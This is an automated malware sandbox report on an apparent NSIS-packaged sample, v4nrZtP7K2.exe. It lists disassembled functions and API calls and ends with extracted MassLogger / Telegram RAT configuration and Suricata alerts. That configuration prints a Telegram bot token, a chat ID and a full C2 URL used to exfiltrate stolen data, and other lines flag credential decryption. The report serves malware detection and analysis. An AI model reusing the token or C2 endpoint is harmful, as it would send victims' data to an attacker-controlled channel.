Memory Dump Source

Source File: 00000005.00000002.2915273453.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2915258849.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915290093.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915305201.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915328833.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: Close$Enum
String ID:
API String ID: 464197530-0
Opcode ID: 1fd681a58c600dee98d7f7e5161f1cc79c94fe5fc9469311f060f0f5731105c3
Instruction ID: 3410daaf41eb2a8de7896e1fb7aa518538b3e031ab7f3cb45a1fbd23233d04dd
Opcode Fuzzy Hash: 1fd681a58c600dee98d7f7e5161f1cc79c94fe5fc9469311f060f0f5731105c3
Instruction Fuzzy Hash: CE116A32500108FBDF12AB90CE09FEE7B7DAF44350F100076B905B61E0E7B59E21AB58

Function 0040591F Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(?,?,00000000), ref: 00405962
GetLastError.KERNEL32 ref: 00405976
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 0040598B
GetLastError.KERNEL32 ref: 00405995

Memory Dump Source

Source File: 00000005.00000002.2915273453.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2915258849.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915290093.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915305201.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915328833.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID:
API String ID: 3449924974-0
Opcode ID: c15d26eb0fd7dc0754592b558b3576eabd9f17effa54cf70e09af9e442894ad1
Instruction ID: ca5323325ecea66cc3de0aafa4d6cbc44a00468c8660a14113972894dcb98988
Opcode Fuzzy Hash: c15d26eb0fd7dc0754592b558b3576eabd9f17effa54cf70e09af9e442894ad1
Instruction Fuzzy Hash: 970108B1C10219DADF009FA5C944BEFBFB4EB14314F00403AE544B6290DB789608CFA9

Function 00405DC5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

Part of subcall function 00405D68: CharNextW.USER32(?,?,00425F30,?,00405DDC,00425F30,00425F30,00437800,?,76F92EE0,00405B1A,?,00437800,76F92EE0,00000000), ref: 00405D76
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D7B
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D93

lstrlenW.KERNEL32(00425F30,00000000,00425F30,00425F30,00437800,?,76F92EE0,00405B1A,?,00437800,76F92EE0,00000000), ref: 00405E1E
GetFileAttributesW.KERNEL32(00425F30,00425F30,00425F30,00425F30,00425F30,00425F30,00000000,00425F30,00425F30,00437800,?,76F92EE0,00405B1A,?,00437800,76F92EE0), ref: 00405E2E

Strings

0_B, xrefs: 00405DCB

Memory Dump Source

Source File: 00000005.00000002.2915273453.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2915258849.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915290093.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915305201.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915328833.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: 0_B
API String ID: 3248276644-2128305573
Opcode ID: df6e64e4f6769b316d4c1c7beb25aaa03b2c49ca2ab4503c480f7fe4b4eab687
Instruction ID: e2ef3bf648e1011fa726b67e088789f036b8871ba300d86fb9c867912b04298b
Opcode Fuzzy Hash: df6e64e4f6769b316d4c1c7beb25aaa03b2c49ca2ab4503c480f7fe4b4eab687
Instruction Fuzzy Hash: B4F0F439109E5116D62233365D09BEF0548CF82354B5A853BFC91B22D2DB3C8A539DFE

Function 004053C4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 004053F3
CallWindowProcW.USER32(?,?,?,?), ref: 00405444

Part of subcall function 004043AB: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004043BD

Strings

, xrefs: 004053D4

Memory Dump Source

Source File: 00000005.00000002.2915273453.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2915258849.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915290093.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915305201.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915328833.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 36caebe1fe8aa1eff7ff321662443c514d6827d4f2801b7b393fcb4226acda68
Instruction ID: 343f6187318c33bb175646012d6cb398530476c6c15fe8dd96994d534b9a6b17
Opcode Fuzzy Hash: 36caebe1fe8aa1eff7ff321662443c514d6827d4f2801b7b393fcb4226acda68
Instruction Fuzzy Hash: CC0171B1200609ABDF305F11DD84B9B3666EBD4356F508037FA00761E1C77A8DD29A6E

Function 00405F0D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405F2B
GetTempFileNameW.KERNEL32(?,?,00000000,?,?,?,00435000,004034A3,00437000,00437800,00437800,00437800,00437800,00437800,76F93420,004036EF), ref: 00405F46

Strings

nsa, xrefs: 00405F1A

Memory Dump Source

Source File: 00000005.00000002.2915273453.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2915258849.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915290093.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915305201.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915328833.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 0c62091ad8b50aef506abc269e58e4a43f33256201187c1c154fac6de66d8f01
Instruction ID: 076564571966e4dc9ef4834731be4d502634ae0aeddccfca5b4533d1bab5a213
Opcode Fuzzy Hash: 0c62091ad8b50aef506abc269e58e4a43f33256201187c1c154fac6de66d8f01
Instruction Fuzzy Hash: 14F09076601204FFEB009F59ED05E9BB7A8EB95750F10803AEE00F7250E6B49A548B68

Function 004059D1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00426730,Error launching installer), ref: 004059FA
CloseHandle.KERNEL32(?), ref: 00405A07

Strings

Error launching installer, xrefs: 004059E4

Memory Dump Source

Source File: 00000005.00000002.2915273453.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2915258849.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915290093.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915305201.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915328833.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 6d78ed6c6b667bfe634139d4e18f22187190c1a967eebebbcf2d401a0833c7e8
Instruction ID: 166b032e71181ba573d10d742cd21a74b10ba840f41c43b266edefbe5b435367
Opcode Fuzzy Hash: 6d78ed6c6b667bfe634139d4e18f22187190c1a967eebebbcf2d401a0833c7e8
Instruction Fuzzy Hash: E5E04FB0A102097FEB009B64ED49F7B76ACFB04208F404531BD00F2150D774A8208A7C

Function 00406F27 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2915273453.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2915258849.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915290093.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915305201.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915328833.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db40346bc9fd20083a39152eff8b5ac78f5cdc0ebc59631a5c9ad52422038ace
Instruction ID: 2bd06e12bed6e0bcd81d630d0cd78bd49004ac77cb8b5ebb757de7108a839e92
Opcode Fuzzy Hash: db40346bc9fd20083a39152eff8b5ac78f5cdc0ebc59631a5c9ad52422038ace
Instruction Fuzzy Hash: 1DA14471E04228CBDF28CFA8C8446ADBBB1FF44305F14806ED856BB281D7786A86DF45

Function 00407128 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2915273453.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2915258849.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915290093.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915305201.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915328833.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d32937a43efcd2dea5d1fc698e3fcc0023127280f8acdc5c544d8c7d1790a46
Instruction ID: f1da02a2f8b93330a3d469e31e6e9edf047fa596270f1f1d86c95cc791e20b04
Opcode Fuzzy Hash: 9d32937a43efcd2dea5d1fc698e3fcc0023127280f8acdc5c544d8c7d1790a46
Instruction Fuzzy Hash: AA910271E04228CBEF28CF98C8447ADBBB1FB45305F14816AD856BB291C778A986DF45

Function 00406E3E Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2915273453.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2915258849.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915290093.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915305201.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915328833.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d6f810e310069c411d265ffcddf6abea8090fb20e8d2db1667143610fe5bd5
Instruction ID: fb1d02f26201205f5bfcbd3029eb7cfad7cca69a3f8c46de7b35964bdd0c3f7d
Opcode Fuzzy Hash: 67d6f810e310069c411d265ffcddf6abea8090fb20e8d2db1667143610fe5bd5
Instruction Fuzzy Hash: 18814571E04228DFDF24CFA8C844BADBBB1FB45305F24816AD856BB291C7389986DF45

Function 00406943 Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2915273453.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2915258849.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915290093.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915305201.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915328833.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5328a0701a0a32b67c374057837e60552721ea1a6811a44abe83e42546375677
Instruction ID: 55fc176551b00f8465723d30588461dcf2fc1d3195b414c524ee7a2fcbdbe87b
Opcode Fuzzy Hash: 5328a0701a0a32b67c374057837e60552721ea1a6811a44abe83e42546375677
Instruction Fuzzy Hash: 39815971E04228DBEF24CFA8C844BADBBB1FB45305F14816AD856BB2C1C7786986DF45

Function 00406D91 Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2915273453.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2915258849.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915290093.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915305201.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915328833.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a445a859154d96951751bba7131c1a69e0b73c0895ac35a4e96b2d7ee743491b
Instruction ID: 7645ab34ef40ba223d211dbe726f8302725d3f31b3e808d93cc70016d3e0d248
Opcode Fuzzy Hash: a445a859154d96951751bba7131c1a69e0b73c0895ac35a4e96b2d7ee743491b
Instruction Fuzzy Hash: 10711471E04228DBDF24CF98C8447ADBBB1FF49305F15806AD856BB281C7389A86DF45

Function 00406EAF Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2915273453.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2915258849.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915290093.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915305201.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915328833.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd7d90a79d0f10410712768d5bba8e0713d9e8f593557aa9bf16db43d4616d0f
Instruction ID: a4e19b7408f2815589132e7e2b866ae2b9c8caa40868d81b8a4623295251dea3
Opcode Fuzzy Hash: cd7d90a79d0f10410712768d5bba8e0713d9e8f593557aa9bf16db43d4616d0f
Instruction Fuzzy Hash: 0D712571E04218DBEF28CF98C844BADBBB1FF45305F15806AD856BB281C7389986DF45

Function 00406DFB Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2915273453.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2915258849.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915290093.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915305201.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915328833.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08b8d2b65a0c1c30b5e83c7ea62cdb0658c0fab8542c410d93f606ef21acc8e7
Instruction ID: 979076adb26e5f1e3e7a9458f232081f51f9a0722543042d1d726f4d31452a21
Opcode Fuzzy Hash: 08b8d2b65a0c1c30b5e83c7ea62cdb0658c0fab8542c410d93f606ef21acc8e7
Instruction Fuzzy Hash: 50714871E04228DBEF28CF98C8447ADBBB1FF45305F15806AD856BB281C7386A46DF45

Function 00405E43 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E53
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405E6B
CharNextA.USER32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E7C
lstrlenA.KERNEL32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E85

Memory Dump Source

Source File: 00000005.00000002.2915273453.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2915258849.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915290093.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915305201.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915328833.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 7e71a0af936693ae9f9191b5a8beeb80aa55241a483ed2e2c495a4152d25f7df
Instruction ID: 3eb9f18af2c16f81f4dc7877ab3147293eaebe45f2d41041cd024b5e05e36bdf
Opcode Fuzzy Hash: 7e71a0af936693ae9f9191b5a8beeb80aa55241a483ed2e2c495a4152d25f7df
Instruction Fuzzy Hash: 4AF0C831100514AFC7029B94DD4099FBBA8DF06354B25407AE844FB211D634DF01AB98

Source: 00000005.00000002.2943654108.000000003487B000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: MassLogger {"EXfil Mode": "Telegram", "Telegram Token": "7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA", "Telegram Chatid": "2065242915"}
Source: v4nrZtP7K2.exe.4256.5.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendMessage"}

Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_3694D1EC CryptUnprotectData,		5_2_3694D1EC
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_3694D9D9 CryptUnprotectData,		5_2_3694D9D9

Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:49769 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49769 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:49839 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49839 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:49877 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:49740 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49740 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49877 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:49811 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:49930 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49930 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:49962 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49811 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49962 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50026 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50026 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:49865 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49865 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:49890 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49890 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50042 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50042 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:49905 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:49757 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49757 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:49853 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49853 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50040 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50040 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:49827 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:49782 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49782 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:49798 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49798 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:49988 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49988 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50032 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50032 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:49973 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50030 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49973 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50030 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50022 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50022 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50001 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50001 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50028 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50028 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50036 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50036 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50034 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50034 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49905 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49827 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:49919 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:49919 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.9:50014 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.9:50014 -> 149.154.167.220:443
